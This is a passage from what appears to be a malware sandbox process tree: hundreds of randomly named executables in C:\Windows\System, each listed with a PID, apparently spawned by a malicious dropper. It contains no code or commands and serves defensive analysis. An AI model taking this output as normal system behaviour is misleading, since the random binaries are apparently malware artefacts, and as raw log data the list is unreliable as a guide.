- C:\Windows\System\jSzOIbj.exe
  C:\Windows\System\jSzOIbj.exe
  2⤵
  PID:8768
- C:\Windows\System\TgTcOHS.exe
  C:\Windows\System\TgTcOHS.exe
  2⤵
  PID:8784
- C:\Windows\System\zJDdpro.exe
  C:\Windows\System\zJDdpro.exe
  2⤵
  PID:8804
- C:\Windows\System\NdoJgdr.exe
  C:\Windows\System\NdoJgdr.exe
  2⤵
  PID:8828
- C:\Windows\System\tpKbfqS.exe
  C:\Windows\System\tpKbfqS.exe
  2⤵
  PID:8852
- C:\Windows\System\ertUhEd.exe
  C:\Windows\System\ertUhEd.exe
  2⤵
  PID:8872
- C:\Windows\System\RaMaGLv.exe
  C:\Windows\System\RaMaGLv.exe
  2⤵
  PID:8896
- C:\Windows\System\UKzTBkp.exe
  C:\Windows\System\UKzTBkp.exe
  2⤵
  PID:8920
- C:\Windows\System\awcptTB.exe
  C:\Windows\System\awcptTB.exe
  2⤵
  PID:9176
- C:\Windows\System\RbrGJgN.exe
  C:\Windows\System\RbrGJgN.exe
  2⤵
  PID:9204
- C:\Windows\System\wMlUdrd.exe
  C:\Windows\System\wMlUdrd.exe
  2⤵
  PID:7844
- C:\Windows\System\INnooUS.exe
  C:\Windows\System\INnooUS.exe
  2⤵
  PID:8000
- C:\Windows\System\EMrRovP.exe
  C:\Windows\System\EMrRovP.exe
  2⤵
  PID:8044
- C:\Windows\System\HyTkDBv.exe
  C:\Windows\System\HyTkDBv.exe
  2⤵
  PID:8104
- C:\Windows\System\oDgeyfA.exe
  C:\Windows\System\oDgeyfA.exe
  2⤵
  PID:7128
- C:\Windows\System\iiSCcoe.exe
  C:\Windows\System\iiSCcoe.exe
  2⤵
  PID:7520
- C:\Windows\System\FywcdSl.exe
  C:\Windows\System\FywcdSl.exe
  2⤵
  PID:6608
- C:\Windows\System\xoDEYnQ.exe
  C:\Windows\System\xoDEYnQ.exe
  2⤵
  PID:7148
- C:\Windows\System\OuNtLZP.exe
  C:\Windows\System\OuNtLZP.exe
  2⤵
  PID:7668
- C:\Windows\System\nAVjWwb.exe
  C:\Windows\System\nAVjWwb.exe
  2⤵
  PID:7276
- C:\Windows\System\dctkNaB.exe
  C:\Windows\System\dctkNaB.exe
  2⤵
  PID:7788
- C:\Windows\System\AMFfSMh.exe
  C:\Windows\System\AMFfSMh.exe
  2⤵
  PID:8240
- C:\Windows\System\GXKQfvW.exe
  C:\Windows\System\GXKQfvW.exe
  2⤵
  PID:7828
- C:\Windows\System\RQciNOR.exe
  C:\Windows\System\RQciNOR.exe
  2⤵
  PID:7380
- C:\Windows\System\hrYmoqx.exe
  C:\Windows\System\hrYmoqx.exe
  2⤵
  PID:8384
- C:\Windows\System\homzmRu.exe
  C:\Windows\System\homzmRu.exe
  2⤵
  PID:8408
- C:\Windows\System\HSOWRCn.exe
  C:\Windows\System\HSOWRCn.exe
  2⤵
  PID:8060
- C:\Windows\System\dnGozup.exe
  C:\Windows\System\dnGozup.exe
  2⤵
  PID:8676
- C:\Windows\System\ZLcaPee.exe
  C:\Windows\System\ZLcaPee.exe
  2⤵
  PID:6384
- C:\Windows\System\eRjafDY.exe
  C:\Windows\System\eRjafDY.exe
  2⤵
  PID:7628
- C:\Windows\System\zFNCQGS.exe
  C:\Windows\System\zFNCQGS.exe
  2⤵
  PID:7692
- C:\Windows\System\DgspabI.exe
  C:\Windows\System\DgspabI.exe
  2⤵
  PID:4580
- C:\Windows\System\uMixdRB.exe
  C:\Windows\System\uMixdRB.exe
  2⤵
  PID:7764
- C:\Windows\System\vZrKECE.exe
  C:\Windows\System\vZrKECE.exe
  2⤵
  PID:8204
- C:\Windows\System\NdSRoEX.exe
  C:\Windows\System\NdSRoEX.exe
  2⤵
  PID:8300
- C:\Windows\System\OxsLRKo.exe
  C:\Windows\System\OxsLRKo.exe
  2⤵
  PID:8328
- C:\Windows\System\ebbCSzN.exe
  C:\Windows\System\ebbCSzN.exe
  2⤵
  PID:7916
- C:\Windows\System\RxrsDXs.exe
  C:\Windows\System\RxrsDXs.exe
  2⤵
  PID:7960
- C:\Windows\System\rKbesnZ.exe
  C:\Windows\System\rKbesnZ.exe
  2⤵
  PID:8504
- C:\Windows\System\wUUmGWc.exe
  C:\Windows\System\wUUmGWc.exe
  2⤵
  PID:8560
- C:\Windows\System\zzzgSfm.exe
  C:\Windows\System\zzzgSfm.exe
  2⤵
  PID:8664
- C:\Windows\System\McqAWBv.exe
  C:\Windows\System\McqAWBv.exe
  2⤵
  PID:9232
- C:\Windows\System\udMtYfd.exe
  C:\Windows\System\udMtYfd.exe
  2⤵
  PID:9252
- C:\Windows\System\mjzjNTI.exe
  C:\Windows\System\mjzjNTI.exe
  2⤵
  PID:9284
- C:\Windows\System\BKjSHxm.exe
  C:\Windows\System\BKjSHxm.exe
  2⤵
  PID:9308
- C:\Windows\System\hqVJgNX.exe
  C:\Windows\System\hqVJgNX.exe
  2⤵
  PID:9332
- C:\Windows\System\seWJlmk.exe
  C:\Windows\System\seWJlmk.exe
  2⤵
  PID:9348
- C:\Windows\System\HNEZHJb.exe
  C:\Windows\System\HNEZHJb.exe
  2⤵
  PID:9372
- C:\Windows\System\gLKmSwN.exe
  C:\Windows\System\gLKmSwN.exe
  2⤵
  PID:9392
- C:\Windows\System\fKAkqnR.exe
  C:\Windows\System\fKAkqnR.exe
  2⤵
  PID:9420
- C:\Windows\System\cfOrjXv.exe
  C:\Windows\System\cfOrjXv.exe
  2⤵
  PID:9440
- C:\Windows\System\dDZnFXM.exe
  C:\Windows\System\dDZnFXM.exe
  2⤵
  PID:9456
- C:\Windows\System\wWPBwbw.exe
  C:\Windows\System\wWPBwbw.exe
  2⤵
  PID:9480
- C:\Windows\System\SiYDZrs.exe
  C:\Windows\System\SiYDZrs.exe
  2⤵
  PID:9508
- C:\Windows\System\tTvQfFP.exe
  C:\Windows\System\tTvQfFP.exe
  2⤵
  PID:9524
- C:\Windows\System\dnXrkhx.exe
  C:\Windows\System\dnXrkhx.exe
  2⤵
  PID:9548
- C:\Windows\System\NwOzdLl.exe
  C:\Windows\System\NwOzdLl.exe
  2⤵
  PID:9564
- C:\Windows\System\KpyHgWI.exe
  C:\Windows\System\KpyHgWI.exe
  2⤵
  PID:9588
- C:\Windows\System\gZOctRI.exe
  C:\Windows\System\gZOctRI.exe
  2⤵
  PID:9608
- C:\Windows\System\spPClJa.exe
  C:\Windows\System\spPClJa.exe
  2⤵
  PID:9632
- C:\Windows\System\EwrwFAP.exe
  C:\Windows\System\EwrwFAP.exe
  2⤵
  PID:9652
- C:\Windows\System\PlsLkxl.exe
  C:\Windows\System\PlsLkxl.exe
  2⤵
  PID:9668
- C:\Windows\System\WwFezSI.exe
  C:\Windows\System\WwFezSI.exe
  2⤵
  PID:9744
- C:\Windows\System\hHtmIYc.exe
  C:\Windows\System\hHtmIYc.exe
  2⤵
  PID:9772
- C:\Windows\System\RhIywjX.exe
  C:\Windows\System\RhIywjX.exe
  2⤵
  PID:10152
- C:\Windows\System\NBlnKhG.exe
  C:\Windows\System\NBlnKhG.exe
  2⤵
  PID:10176
- C:\Windows\System\DhwphGg.exe
  C:\Windows\System\DhwphGg.exe
  2⤵
  PID:10208
- C:\Windows\System\jxIwUno.exe
  C:\Windows\System\jxIwUno.exe
  2⤵
  PID:10224
- C:\Windows\System\dCHCCMt.exe
  C:\Windows\System\dCHCCMt.exe
  2⤵
  PID:8700
- C:\Windows\System\kRLpUYY.exe
  C:\Windows\System\kRLpUYY.exe
  2⤵
  PID:8764
- C:\Windows\System\LuIluJd.exe
  C:\Windows\System\LuIluJd.exe
  2⤵
  PID:8860
- C:\Windows\System\LfXclEf.exe
  C:\Windows\System\LfXclEf.exe
  2⤵
  PID:9148
- C:\Windows\System\Paindvp.exe
  C:\Windows\System\Paindvp.exe
  2⤵
  PID:2836
- C:\Windows\System\pWsKpTK.exe
  C:\Windows\System\pWsKpTK.exe
  2⤵
  PID:8980
- C:\Windows\System\iGwlUMi.exe
  C:\Windows\System\iGwlUMi.exe
  2⤵
  PID:8344
- C:\Windows\System\YQDcoSv.exe
  C:\Windows\System\YQDcoSv.exe
  2⤵
  PID:7272
- C:\Windows\System\GFuHdBv.exe
  C:\Windows\System\GFuHdBv.exe
  2⤵
  PID:8464
- C:\Windows\System\KTJvuhj.exe
  C:\Windows\System\KTJvuhj.exe
  2⤵
  PID:3960
- C:\Windows\System\UkJYSyO.exe
  C:\Windows\System\UkJYSyO.exe
  2⤵
  PID:9056
- C:\Windows\System\RsAUaqN.exe
  C:\Windows\System\RsAUaqN.exe
  2⤵
  PID:8592
- C:\Windows\System\gxhrrjo.exe
  C:\Windows\System\gxhrrjo.exe
  2⤵
  PID:3272
- C:\Windows\System\FVIqBpZ.exe
  C:\Windows\System\FVIqBpZ.exe
  2⤵
  PID:9120
- C:\Windows\System\nCorHAz.exe
  C:\Windows\System\nCorHAz.exe
  2⤵
  PID:9356
- C:\Windows\System\sbjUrBm.exe
  C:\Windows\System\sbjUrBm.exe
  2⤵
  PID:8816
- C:\Windows\System\dLqEKqO.exe
  C:\Windows\System\dLqEKqO.exe
  2⤵
  PID:9412
- C:\Windows\System\vgNVNSh.exe
  C:\Windows\System\vgNVNSh.exe
  2⤵
  PID:9492
- C:\Windows\System\YXqSdmv.exe
  C:\Windows\System\YXqSdmv.exe
  2⤵
  PID:9604
- C:\Windows\System\pBqRWqf.exe
  C:\Windows\System\pBqRWqf.exe
  2⤵
  PID:1652
- C:\Windows\System\zuTgHPl.exe
  C:\Windows\System\zuTgHPl.exe
  2⤵
  PID:9704
- C:\Windows\System\oUWwoyB.exe
  C:\Windows\System\oUWwoyB.exe
  2⤵
  PID:8984
- C:\Windows\System\pOWCPCc.exe
  C:\Windows\System\pOWCPCc.exe
  2⤵
  PID:9788
- C:\Windows\System\gcNxDqr.exe
  C:\Windows\System\gcNxDqr.exe
  2⤵
  PID:9044
- C:\Windows\System\wKwaMex.exe
  C:\Windows\System\wKwaMex.exe
  2⤵
  PID:8140
- C:\Windows\System\oqFXvTl.exe
  C:\Windows\System\oqFXvTl.exe
  2⤵
  PID:8728
- C:\Windows\System\bFsWpZW.exe
  C:\Windows\System\bFsWpZW.exe
  2⤵
  PID:9844
- C:\Windows\System\nwWAAPm.exe
  C:\Windows\System\nwWAAPm.exe
  2⤵
  PID:8308
- C:\Windows\System\PYpCoUo.exe
  C:\Windows\System\PYpCoUo.exe
  2⤵
  PID:1276
- C:\Windows\System\YEZqQjg.exe
  C:\Windows\System\YEZqQjg.exe
  2⤵
  PID:10124
- C:\Windows\System\ONkRGdu.exe
  C:\Windows\System\ONkRGdu.exe
  2⤵
  PID:9368
- C:\Windows\System\nZokJJb.exe
  C:\Windows\System\nZokJJb.exe
  2⤵
  PID:3120
- C:\Windows\System\HJupreP.exe
  C:\Windows\System\HJupreP.exe
  2⤵
  PID:8580
- C:\Windows\System\MBTWRqf.exe
  C:\Windows\System\MBTWRqf.exe
  2⤵
  PID:3536
- C:\Windows\System\YQqxYUa.exe
  C:\Windows\System\YQqxYUa.exe
  2⤵
  PID:10256
- C:\Windows\System\gCuuJkU.exe
  C:\Windows\System\gCuuJkU.exe
  2⤵
  PID:10344
- C:\Windows\System\QJxQSwT.exe
  C:\Windows\System\QJxQSwT.exe
  2⤵
  PID:10372
- C:\Windows\System\hfEcIab.exe
  C:\Windows\System\hfEcIab.exe
  2⤵
  PID:10396
- C:\Windows\System\jiacPkn.exe
  C:\Windows\System\jiacPkn.exe
  2⤵
  PID:10412
- C:\Windows\System\txTvMkY.exe
  C:\Windows\System\txTvMkY.exe
  2⤵
  PID:10432
- C:\Windows\System\qltiFjq.exe
  C:\Windows\System\qltiFjq.exe
  2⤵
  PID:10456
- C:\Windows\System\RPYWEWU.exe
  C:\Windows\System\RPYWEWU.exe
  2⤵
  PID:10472
- C:\Windows\System\VjjxFjv.exe
  C:\Windows\System\VjjxFjv.exe
  2⤵
  PID:10496
- C:\Windows\System\ySZkyOS.exe
  C:\Windows\System\ySZkyOS.exe
  2⤵
  PID:10512
- C:\Windows\System\ZjuNvnn.exe
  C:\Windows\System\ZjuNvnn.exe
  2⤵
  PID:10532
- C:\Windows\System\fiJUjNL.exe
  C:\Windows\System\fiJUjNL.exe
  2⤵
  PID:10548
- C:\Windows\System\GjOltky.exe
  C:\Windows\System\GjOltky.exe
  2⤵
  PID:10564
- C:\Windows\System\mRgmTxI.exe
  C:\Windows\System\mRgmTxI.exe
  2⤵
  PID:10580
- C:\Windows\System\xhmofkg.exe
  C:\Windows\System\xhmofkg.exe
  2⤵
  PID:10596
- C:\Windows\System\LMWGrFD.exe
  C:\Windows\System\LMWGrFD.exe
  2⤵
  PID:10612
- C:\Windows\System\OVNmRKQ.exe
  C:\Windows\System\OVNmRKQ.exe
  2⤵
  PID:10628
- C:\Windows\System\GRySave.exe
  C:\Windows\System\GRySave.exe
  2⤵
  PID:10648
- C:\Windows\System\sLiftSS.exe
  C:\Windows\System\sLiftSS.exe
  2⤵
  PID:10664
- C:\Windows\System\qxknHBS.exe
  C:\Windows\System\qxknHBS.exe
  2⤵
  PID:10684
- C:\Windows\System\hkSUXZu.exe
  C:\Windows\System\hkSUXZu.exe
  2⤵
  PID:10700
- C:\Windows\System\xgNsctk.exe
  C:\Windows\System\xgNsctk.exe
  2⤵
  PID:10720
- C:\Windows\System\dGWauAr.exe
  C:\Windows\System\dGWauAr.exe
  2⤵
  PID:10736
- C:\Windows\System\qWSmlZE.exe
  C:\Windows\System\qWSmlZE.exe
  2⤵
  PID:10760
- C:\Windows\System\GQxolqt.exe
  C:\Windows\System\GQxolqt.exe
  2⤵
  PID:10780
- C:\Windows\System\xrXjuBu.exe
  C:\Windows\System\xrXjuBu.exe
  2⤵
  PID:10800
- C:\Windows\System\gnujdoH.exe
  C:\Windows\System\gnujdoH.exe
  2⤵
  PID:10820
- C:\Windows\System\QjqYTmj.exe
  C:\Windows\System\QjqYTmj.exe
  2⤵
  PID:10840
- C:\Windows\System\omUoNop.exe
  C:\Windows\System\omUoNop.exe
  2⤵
  PID:10864
- C:\Windows\System\QgdHGHg.exe
  C:\Windows\System\QgdHGHg.exe
  2⤵
  PID:10880
- C:\Windows\System\IBTgBKa.exe
  C:\Windows\System\IBTgBKa.exe
  2⤵
  PID:10900
- C:\Windows\System\ByxfJZy.exe
  C:\Windows\System\ByxfJZy.exe
  2⤵
  PID:10916
- C:\Windows\System\xuxUoVj.exe
  C:\Windows\System\xuxUoVj.exe
  2⤵
  PID:10932
- C:\Windows\System\HGPciUb.exe
  C:\Windows\System\HGPciUb.exe
  2⤵
  PID:10952
- C:\Windows\System\xUodWxM.exe
  C:\Windows\System\xUodWxM.exe
  2⤵
  PID:10972
- C:\Windows\System\TWDxsah.exe
  C:\Windows\System\TWDxsah.exe
  2⤵
  PID:10992
- C:\Windows\System\xpuajkh.exe
  C:\Windows\System\xpuajkh.exe
  2⤵
  PID:11012
- C:\Windows\System\hQJxWyz.exe
  C:\Windows\System\hQJxWyz.exe
  2⤵
  PID:11036
- C:\Windows\System\ynMQDuM.exe
  C:\Windows\System\ynMQDuM.exe
  2⤵
  PID:11056
- C:\Windows\System\uhEeDaR.exe
  C:\Windows\System\uhEeDaR.exe
  2⤵
  PID:11076
- C:\Windows\System\dBOmDsL.exe
  C:\Windows\System\dBOmDsL.exe
  2⤵
  PID:11096
- C:\Windows\System\fkUUZHM.exe
  C:\Windows\System\fkUUZHM.exe
  2⤵
  PID:11120
- C:\Windows\System\vTDXbdy.exe
  C:\Windows\System\vTDXbdy.exe
  2⤵
  PID:11140
- C:\Windows\System\wkNLeHr.exe
  C:\Windows\System\wkNLeHr.exe
  2⤵
  PID:11156
- C:\Windows\System\WLuBjSt.exe
  C:\Windows\System\WLuBjSt.exe
  2⤵
  PID:11176
- C:\Windows\System\hlnOHIQ.exe
  C:\Windows\System\hlnOHIQ.exe
  2⤵
  PID:11200
- C:\Windows\System\rzeKflV.exe
  C:\Windows\System\rzeKflV.exe
  2⤵
  PID:11220
- C:\Windows\System\iHiVDqM.exe
  C:\Windows\System\iHiVDqM.exe
  2⤵
  PID:11236
- C:\Windows\System\OjMVaaa.exe
  C:\Windows\System\OjMVaaa.exe
  2⤵
  PID:11252
- C:\Windows\System\nDXQGCH.exe
  C:\Windows\System\nDXQGCH.exe
  2⤵
  PID:6356
- C:\Windows\System\CBjnomo.exe
  C:\Windows\System\CBjnomo.exe
  2⤵
  PID:10252
- C:\Windows\System\ZpKvpDe.exe
  C:\Windows\System\ZpKvpDe.exe
  2⤵
  PID:10172
- C:\Windows\System\ZENgVKO.exe
  C:\Windows\System\ZENgVKO.exe
  2⤵
  PID:10264
- C:\Windows\System\DtlmFYQ.exe
  C:\Windows\System\DtlmFYQ.exe
  2⤵
  PID:10336
- C:\Windows\System\UiegIqx.exe
  C:\Windows\System\UiegIqx.exe
  2⤵
  PID:10320
- C:\Windows\System\kOLcWwl.exe
  C:\Windows\System\kOLcWwl.exe
  2⤵
  PID:10408
- C:\Windows\System\iVZWVpc.exe
  C:\Windows\System\iVZWVpc.exe
  2⤵
  PID:10384
- C:\Windows\System\iyfWOAp.exe
  C:\Windows\System\iyfWOAp.exe
  2⤵
  PID:10604
- C:\Windows\System\EAajosT.exe
  C:\Windows\System\EAajosT.exe
  2⤵
  PID:10480
- C:\Windows\System\zFagpgm.exe
  C:\Windows\System\zFagpgm.exe
  2⤵
  PID:10752
- C:\Windows\System\tYaTkJm.exe
  C:\Windows\System\tYaTkJm.exe
  2⤵
  PID:10828
- C:\Windows\System\iUWJQpk.exe
  C:\Windows\System\iUWJQpk.exe
  2⤵
  PID:10896
- C:\Windows\System\jxHyYOK.exe
  C:\Windows\System\jxHyYOK.exe
  2⤵
  PID:10912
- C:\Windows\System\fdgVRGp.exe
  C:\Windows\System\fdgVRGp.exe
  2⤵
  PID:10468
- C:\Windows\System\YtRUtPP.exe
  C:\Windows\System\YtRUtPP.exe
  2⤵
  PID:4156
- C:\Windows\System\CqHFrSm.exe
  C:\Windows\System\CqHFrSm.exe
  2⤵
  PID:11272
- C:\Windows\System\WPQNhek.exe
  C:\Windows\System\WPQNhek.exe
  2⤵
  PID:11296
- C:\Windows\System\gwZmdvo.exe
  C:\Windows\System\gwZmdvo.exe
  2⤵
  PID:11312
- C:\Windows\System\FcIeLNf.exe
  C:\Windows\System\FcIeLNf.exe
  2⤵
  PID:11332
- C:\Windows\System\MmXklnI.exe
  C:\Windows\System\MmXklnI.exe
  2⤵
  PID:11352
- C:\Windows\System\dCqUrIk.exe
  C:\Windows\System\dCqUrIk.exe
  2⤵
  PID:11368
- C:\Windows\System\agUfHlU.exe
  C:\Windows\System\agUfHlU.exe
  2⤵
  PID:11480
- C:\Windows\System\lcZikBV.exe
  C:\Windows\System\lcZikBV.exe
  2⤵
  PID:11496
- C:\Windows\System\DNFWEQP.exe
  C:\Windows\System\DNFWEQP.exe
  2⤵
  PID:11512
- C:\Windows\System\OTKyjwR.exe
  C:\Windows\System\OTKyjwR.exe
  2⤵
  PID:11528
- C:\Windows\System\ojoKciV.exe
  C:\Windows\System\ojoKciV.exe
  2⤵
  PID:11548
- C:\Windows\System\GJWKPcj.exe
  C:\Windows\System\GJWKPcj.exe
  2⤵
  PID:11568
- C:\Windows\System\PoZWrRI.exe
  C:\Windows\System\PoZWrRI.exe
  2⤵
  PID:11692
- C:\Windows\System\BefGipB.exe
  C:\Windows\System\BefGipB.exe
  2⤵
  PID:11716
- C:\Windows\System\ElRlUky.exe
  C:\Windows\System\ElRlUky.exe
  2⤵
  PID:11736
- C:\Windows\System\SvppxVv.exe
  C:\Windows\System\SvppxVv.exe
  2⤵
  PID:11756
- C:\Windows\System\ejxbVhE.exe
  C:\Windows\System\ejxbVhE.exe
  2⤵
  PID:11920
- C:\Windows\System\uRiYYhn.exe
  C:\Windows\System\uRiYYhn.exe
  2⤵
  PID:11936
- C:\Windows\System\JzpBPIl.exe
  C:\Windows\System\JzpBPIl.exe
  2⤵
  PID:11952
- C:\Windows\System\kJAEdAo.exe
  C:\Windows\System\kJAEdAo.exe
  2⤵
  PID:11972
- C:\Windows\System\mDvSCtV.exe
  C:\Windows\System\mDvSCtV.exe
  2⤵
  PID:11988
- C:\Windows\System\lmIuzsE.exe
  C:\Windows\System\lmIuzsE.exe
  2⤵
  PID:12004
- C:\Windows\System\BKpuJri.exe
  C:\Windows\System\BKpuJri.exe
  2⤵
  PID:12020
- C:\Windows\System\FQPGdzd.exe
  C:\Windows\System\FQPGdzd.exe
  2⤵
  PID:12036
- C:\Windows\System\OIIiQBq.exe
  C:\Windows\System\OIIiQBq.exe
  2⤵
  PID:12052
- C:\Windows\System\DhtNBgx.exe
  C:\Windows\System\DhtNBgx.exe
  2⤵
  PID:12068
- C:\Windows\System\iunoTuF.exe
  C:\Windows\System\iunoTuF.exe
  2⤵
  PID:12088
- C:\Windows\System\sZPOFKY.exe
  C:\Windows\System\sZPOFKY.exe
  2⤵
  PID:12104
- C:\Windows\System\nYfLKkT.exe
  C:\Windows\System\nYfLKkT.exe
  2⤵
  PID:12124
- C:\Windows\System\kRWYxzf.exe
  C:\Windows\System\kRWYxzf.exe
  2⤵
  PID:12144
- C:\Windows\System\KMViVRs.exe
  C:\Windows\System\KMViVRs.exe
  2⤵
  PID:12164
- C:\Windows\System\cRnQRuv.exe
  C:\Windows\System\cRnQRuv.exe
  2⤵
  PID:12184
- C:\Windows\System\umVGmwP.exe
  C:\Windows\System\umVGmwP.exe
  2⤵
  PID:12204
- C:\Windows\System\qagImEH.exe
  C:\Windows\System\qagImEH.exe
  2⤵
  PID:12228
- C:\Windows\System\TzySMNI.exe
  C:\Windows\System\TzySMNI.exe
  2⤵
  PID:12244
- C:\Windows\System\DOzFPNB.exe
  C:\Windows\System\DOzFPNB.exe
  2⤵
  PID:12268
- C:\Windows\System\yfYeGDT.exe
  C:\Windows\System\yfYeGDT.exe
  2⤵
  PID:12284
- C:\Windows\System\MfxIxXG.exe
  C:\Windows\System\MfxIxXG.exe
  2⤵
  PID:10792
- C:\Windows\System\raZOjJP.exe
  C:\Windows\System\raZOjJP.exe
  2⤵
  PID:10860
- C:\Windows\System\CCVtjHK.exe
  C:\Windows\System\CCVtjHK.exe
  2⤵
  PID:10872
- C:\Windows\System\vpTjUkB.exe
  C:\Windows\System\vpTjUkB.exe
  2⤵
  PID:1260
- C:\Windows\System\SdbwhJX.exe
  C:\Windows\System\SdbwhJX.exe
  2⤵
  PID:10620
- C:\Windows\System\gckqAwO.exe
  C:\Windows\System\gckqAwO.exe
  2⤵
  PID:7164
- C:\Windows\System\jNuNbAY.exe
  C:\Windows\System\jNuNbAY.exe
  2⤵
  PID:1528
- C:\Windows\System\aQFnMBp.exe
  C:\Windows\System\aQFnMBp.exe
  2⤵
  PID:11384
- C:\Windows\System\fBNPUII.exe
  C:\Windows\System\fBNPUII.exe
  2⤵
  PID:11192
- C:\Windows\System\quAVnUW.exe
  C:\Windows\System\quAVnUW.exe
  2⤵
  PID:10488
- C:\Windows\System\liaEJIl.exe
  C:\Windows\System\liaEJIl.exe
  2⤵
  PID:10560
- C:\Windows\System\APPlbyY.exe
  C:\Windows\System\APPlbyY.exe
  2⤵
  PID:11052
- C:\Windows\System\hwkKTDv.exe
  C:\Windows\System\hwkKTDv.exe
  2⤵
  PID:11088
- C:\Windows\System\lksdTAX.exe
  C:\Windows\System\lksdTAX.exe
  2⤵
  PID:11360
- C:\Windows\System\LProIdl.exe
  C:\Windows\System\LProIdl.exe
  2⤵
  PID:11400
- C:\Windows\System\GaCRisl.exe
  C:\Windows\System\GaCRisl.exe
  2⤵
  PID:11564
- C:\Windows\System\LxIJRKD.exe
  C:\Windows\System\LxIJRKD.exe
  2⤵
  PID:11600
- C:\Windows\System\XCnfPnl.exe
  C:\Windows\System\XCnfPnl.exe
  2⤵
  PID:11708
- C:\Windows\System\CUvfegO.exe
  C:\Windows\System\CUvfegO.exe
  2⤵
  PID:11964
- C:\Windows\System\myYmQHt.exe
  C:\Windows\System\myYmQHt.exe
  2⤵
  PID:3380
- C:\Windows\System\xobFPDx.exe
  C:\Windows\System\xobFPDx.exe
  2⤵
  PID:12160
- C:\Windows\System\YrGNZwc.exe
  C:\Windows\System\YrGNZwc.exe
  2⤵
  PID:12196
- C:\Windows\System\ewaMLBH.exe
  C:\Windows\System\ewaMLBH.exe
  2⤵
  PID:12224
- C:\Windows\System\MnArxMt.exe
  C:\Windows\System\MnArxMt.exe
  2⤵
  PID:12260
- C:\Windows\System\pOgaqoK.exe
  C:\Windows\System\pOgaqoK.exe
  2⤵
  PID:10544
- C:\Windows\System\jQaIQFu.exe
  C:\Windows\System\jQaIQFu.exe
  2⤵
  PID:11216
- C:\Windows\System\UKKdgPT.exe
  C:\Windows\System\UKKdgPT.exe
  2⤵
  PID:4112
- C:\Windows\System\yLzLiPZ.exe
  C:\Windows\System\yLzLiPZ.exe
  2⤵
  PID:1452
- C:\Windows\System\XQxyWCk.exe
  C:\Windows\System\XQxyWCk.exe
  2⤵
  PID:11932
- C:\Windows\System\BfuurQd.exe
  C:\Windows\System\BfuurQd.exe
  2⤵
  PID:10576
- C:\Windows\System\CMkWmRH.exe
  C:\Windows\System\CMkWmRH.exe
  2⤵
  PID:10876
- C:\Windows\System\PuciIfX.exe
  C:\Windows\System\PuciIfX.exe
  2⤵
  PID:11800
- C:\Windows\System\iZfhNAP.exe
  C:\Windows\System\iZfhNAP.exe
  2⤵
  PID:11292
- C:\Windows\System\WFNSnhf.exe
  C:\Windows\System\WFNSnhf.exe
  2⤵
  PID:12012
- C:\Windows\System\mkcrdBj.exe
  C:\Windows\System\mkcrdBj.exe
  2⤵
  PID:12060
- C:\Windows\System\KRoOjAI.exe
  C:\Windows\System\KRoOjAI.exe
  2⤵
  PID:12096
- C:\Windows\System\TfIbcjt.exe
  C:\Windows\System\TfIbcjt.exe
  2⤵
  PID:12136
- C:\Windows\System\sKDnxcN.exe
  C:\Windows\System\sKDnxcN.exe
  2⤵
  PID:12312
- C:\Windows\System\Zkgmegk.exe
  C:\Windows\System\Zkgmegk.exe
  2⤵
  PID:12332
- C:\Windows\System\MNXuOXG.exe
  C:\Windows\System\MNXuOXG.exe
  2⤵
  PID:12360
- C:\Windows\System\mNkqRSL.exe
  C:\Windows\System\mNkqRSL.exe
  2⤵
  PID:12384
- C:\Windows\System\OGiCXww.exe
  C:\Windows\System\OGiCXww.exe
  2⤵
  PID:12404
- C:\Windows\System\akKFTSG.exe
  C:\Windows\System\akKFTSG.exe
  2⤵
  PID:12424
- C:\Windows\System\DUXgsub.exe
  C:\Windows\System\DUXgsub.exe
  2⤵
  PID:12444
- C:\Windows\System\REwpkbL.exe
  C:\Windows\System\REwpkbL.exe
  2⤵
  PID:12464
- C:\Windows\System\dLtLKah.exe
  C:\Windows\System\dLtLKah.exe
  2⤵
  PID:12488
- C:\Windows\System\WXhmELM.exe
  C:\Windows\System\WXhmELM.exe
  2⤵
  PID:12508
- C:\Windows\System\PGvcKYs.exe
  C:\Windows\System\PGvcKYs.exe
  2⤵
  PID:12528
- C:\Windows\System\fzakkIm.exe
  C:\Windows\System\fzakkIm.exe
  2⤵
  PID:12552
- C:\Windows\System\wuuaPWf.exe
  C:\Windows\System\wuuaPWf.exe
  2⤵
  PID:12568
- C:\Windows\System\JbVWMnc.exe
  C:\Windows\System\JbVWMnc.exe
  2⤵
  PID:12800
- C:\Windows\System\OWUsWUu.exe
  C:\Windows\System\OWUsWUu.exe
  2⤵
  PID:12820
- C:\Windows\System\aSNfLVj.exe
  C:\Windows\System\aSNfLVj.exe
  2⤵
  PID:12836
- C:\Windows\System\vAvqvWg.exe
  C:\Windows\System\vAvqvWg.exe
  2⤵
  PID:12852
- C:\Windows\System\yeFCpov.exe
  C:\Windows\System\yeFCpov.exe
  2⤵
  PID:12868
- C:\Windows\System\JWyDknq.exe
  C:\Windows\System\JWyDknq.exe
  2⤵
  PID:12884
- C:\Windows\System\vflvgzd.exe
  C:\Windows\System\vflvgzd.exe
  2⤵
  PID:12908
- C:\Windows\System\AphRWaw.exe
  C:\Windows\System\AphRWaw.exe
  2⤵
  PID:12924
- C:\Windows\System\OIedDda.exe
  C:\Windows\System\OIedDda.exe
  2⤵
  PID:13100
- C:\Windows\System\oUDjPTJ.exe
  C:\Windows\System\oUDjPTJ.exe
  2⤵
  PID:13120
- C:\Windows\System\knhrcxl.exe
  C:\Windows\System\knhrcxl.exe
  2⤵
  PID:13148
- C:\Windows\System\pWYarck.exe
  C:\Windows\System\pWYarck.exe
  2⤵
  PID:13164
- C:\Windows\System\vdDieIa.exe
  C:\Windows\System\vdDieIa.exe
  2⤵
  PID:13204
- C:\Windows\System\bZYwMaB.exe
  C:\Windows\System\bZYwMaB.exe
  2⤵
  PID:13228
- C:\Windows\System\wkpKrjO.exe
  C:\Windows\System\wkpKrjO.exe
  2⤵
  PID:13244
- C:\Windows\System\kTuqexy.exe
  C:\Windows\System\kTuqexy.exe
  2⤵
  PID:12780
- C:\Windows\System\qKtLVnx.exe
  C:\Windows\System\qKtLVnx.exe
  2⤵
  PID:13096
- C:\Windows\System\ncnjtpc.exe
  C:\Windows\System\ncnjtpc.exe
  2⤵
  PID:12684
- C:\Windows\System\ocMRaos.exe
  C:\Windows\System\ocMRaos.exe
  2⤵
  PID:13220
- C:\Windows\System\fPYlAVB.exe
  C:\Windows\System\fPYlAVB.exe
  2⤵
  PID:12792
- C:\Windows\System\QXRNBtd.exe
  C:\Windows\System\QXRNBtd.exe
  2⤵
  PID:13136
- C:\Windows\System\wZbEuZL.exe
  C:\Windows\System\wZbEuZL.exe
  2⤵
  PID:13116
- C:\Windows\System\blxRaci.exe
